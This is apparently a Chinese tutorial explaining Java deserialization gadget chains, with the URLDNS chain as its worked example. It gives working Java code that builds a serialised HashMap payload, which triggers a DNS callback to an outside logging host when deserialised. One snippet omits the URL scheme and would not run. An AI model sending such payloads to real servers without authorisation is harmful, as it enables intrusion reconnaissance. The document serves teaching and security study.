前言:反序列化漏洞

在研究java反序列化漏洞之前大家肯定也对php反序列化漏洞,python反序列化漏洞有一定的了解.为什么反序列化漏洞如此盛行,在多个语言中都存在呢? 在学习java反序列化的时候我抛出了这样一个疑问.虽然本人水平有限并且短时间内难以准确回答这个问题,但是我从php反序列化和java反序列化中找到他们的相同与不同处,可能一定程度上能帮助我理解java反序列化.

反序列化漏洞的逻辑是什么?

反序列化漏洞的触发是一个链型的逻辑,我们把这个链形调用链的开头,中部,结尾划分为以下三个部分

1.链的开头:在反序列化过程中执行或反序列化后执行的,我们称之为“kick-off” gadget

2.中部: 各种chain,起到链接1和3的作用

3.链的结尾:执行的任意代码或者命令的类(达成恶意目的) 我们称之为”sink” gadget

我们在代码中去寻找1和3,然后再找能让1和3链接起来的逻辑,从而形成一条完整的调用链触发恶意代码

PHP反序列化链中的kick-off

php中引入了魔法函数这一概念,对象在一些特殊状态下会触发他们.例如对象被初始化时使用的时候的__construct方法,对象在销毁时调用的__destruct方法等,正因为他们存在”在反序列化中执行或反序列化之后执行”的这种特性,比如___construct就会在反序列化后立即执行,所以这些都是php反序列化链中常用的kick-off

JAVA反序列化中的kick-off

php中序列化/反序列化一个类只需要调用serialize/unserialize就可以了,而在JAVA中,一个类是否能被序列化,需要看他是否实现了java.io.Serializablejava.io.Externalizable 接口。

在这个里面java为这些支持反序列化的类提供了writeObject/readObject方法,但是如果某个类重写了这些方法,那么java将会使用重写的方法进行调用,而非java默认提供的,这里就是JAVA反序列化中的一个kick-off,当某个类重写的writeObject中存在恶意代码或者存在跳板能形成一条最终触发恶意代码的链的时候,就触发了反序列化漏洞

举个例子

现在有一个重写了readObject的类demo_001.java

1
2
3
4
5
6
7
8
import java.io.IOException;
import java.io.Serializable;

public class demo_001 implements Serializable {
private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException {
System.out.println("执行此处代码");
}
}

一个SerializableTest.java的test类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import java.io.*;

public class SerializableTest {
public static void main(String[] args) throws IOException, ClassNotFoundException {
// 将对象序列化后的字节写入result.txt
demo_001 demo = new demo_001();
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("result.txt"));
oos.writeObject(demo);
oos.close();
// 将序列化对象反序列化
FileInputStream file = new FileInputStream("result.txt");
ObjectInputStream ois = new ObjectInputStream(file);
ois.readObject();
ois.close();
}
}

运行main函数后输出如下

demo_001重写的readObject被执行

为什么重写了readObject就会执行重写部分的代码呢?从反序列化处下断点跟进readObject看看他的具体实现流程

可以看到readObject实际是调用了readObject0方法

readObject0按照字节读取,当读取到TC_OBJECT(0X73)的时候便会调用readOrdinaryObject进行处理,

此处的TC_OBJECT为0x73

接着进入readOrdinaryObject方法当中,调用readClassDesc获取类描述符

类描述符如下:里面保存了类的各种状态信息

继续往下,通过类描述符判断类是否实现了Externalizable接口,如果实现了就调用readExternalData,如果没有就调用readSerialData

我们实现了并没有实现Externalizable方法.进入readSerialData中:在2284行soltDesc.hasReadObjectMethod方法来判断是否重写了readObject方法,重写了进入下面的代码块

在2294行slotDesc.invokeReadObject执行我们重写的readObject方法,调用readObjectMethod.invoke执行重写的readObject方法

弹出计算器

一个常见的反序列化实例:URLDNS

触发点:skin

URL#equals和URL#hashCode对URL对象进行判断时会触发DNS解析

例如这样

1
2
3
4
URL                  url     = new URL("6acb8c0f.toxiclog.xyz");
URL url2 = new URL("6acb8c0f.toxiclog.xyz");
url.equals(url2);
url.hashCode();
入口点:kick-off

有了触发点(url.hashcode,url.equals()),那么入口点在哪儿呢?

入口点即重写了readObject的类,在java中有个非常常用的类,java.util.HashMap,让我们来看看HashMap重写的readObject方法

在HashMap#readObject中有这样一段代码:通过简单的分析不难发现循环HashMap,并分别调用键和值的readObject方法进行反序列化,然后调用putVal将这些键值的信息写入HashMap中的table属性中,在putVal中的第一个参数为key的hash值,调用hash去获取key的哈希值,跟进看一下

hash(key),当key不为null的时候就会调用key的hashCode方法,前面我们说了,url.hashCode()会造成DNS解析,那么此时如果这里的key时url对象,那么就会在反序列化一个键为url对象的hashmap的时候触发dns解析

找到了这些我们就能写我们的payload了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class urldns001 {
public static void main(String[] args) throws Exception {
HashMap<URL, Integer> hashMap = new HashMap<>();
URL url = new URL("http://67211b8d.toxiclog.xyz");
Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
f.setAccessible(true);

f.set(url, 0x01010101);//防止在hashMap.put的时候触发dns解析
hashMap.put(url, 0);
f.set(url, -1);//将其hashcode属性复位为-1确保反序列化时能正常触发urldns

ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("urldns.bin"));
oos.writeObject(hashMap);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("urldns.bin"));
ois.readObject();
}
}

可以看到我们在开始利用反射获取了URL对象的hashCode属性,然后在调用hashmap.put之前将它的值设置为了0x01010101,在hashmap.put后又将其设置回了-1,这是因为hashmap.put方法中会调用一次hash(key),在还未对hashmap进行序列化前就触发dns解析了,而一旦URL触发dns解析,那么URL中的hashCode成员变量就会不等于-1(缓存机制,告诉java这个url已经解析过了不需要第二次解析),我们反序列化的时候就不会触发dns解析了,所以需要先将hashcode变为-1的,在进行序列化,至于为什么要在put前将他设置为0x010101010,这是因为不想在生成payload的时候触发dns解析,这个步骤对于最终的反序列化能否执行没有直接的关系。